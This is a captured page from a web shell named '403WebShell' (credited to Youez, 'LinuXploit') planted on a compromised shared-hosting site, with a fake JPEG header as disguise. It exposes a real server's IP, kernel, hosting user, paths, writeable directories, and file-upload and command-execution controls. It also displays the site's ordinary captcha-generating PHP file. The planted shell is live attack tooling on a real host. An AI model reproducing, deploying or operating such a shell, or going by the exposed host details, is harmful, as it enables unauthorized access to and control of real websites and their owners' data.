���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.232  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/ggfoods.net/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/ggfoods.net/public_html/generate_captcha.php
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
$random_alpha = md5(random_int(1000, 9999));  
$captcha_code = substr($random_alpha, 0, 6);  
$_SESSION["captcha_code"] = $captcha_code;    
$target_layer = imagecreatetruecolor(120, 40);
$captcha_background = imagecolorallocate($target_layer, 255, 160, 119);  
imagefill($target_layer, 0, 0, $captcha_background);
$captcha_text_color = imagecolorallocate($target_layer, 0, 0, 0);
$font_path = 'assets/fonts/DejaVuSans-Bold.ttf'; 
$font_size = 15;
if (!file_exists($font_path)) {
    die("Font file not found. Please check the font path.");
}
for ($i = 0; $i < 5; $i++) {
    $line_color = imagecolorallocate($target_layer, rand(0, 255), rand(0, 255), rand(0, 255));  // Random color for lines
    imageline($target_layer, rand(0, 120), rand(0, 40), rand(0, 120), rand(0, 40), $line_color);
}
imagettftext($target_layer, $font_size, rand(-10, 10), rand(10, 30), rand(25, 35), $captcha_text_color, $font_path, $captcha_code);
header("Content-type: image/png");
imagepng($target_layer);
imagedestroy($target_layer);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit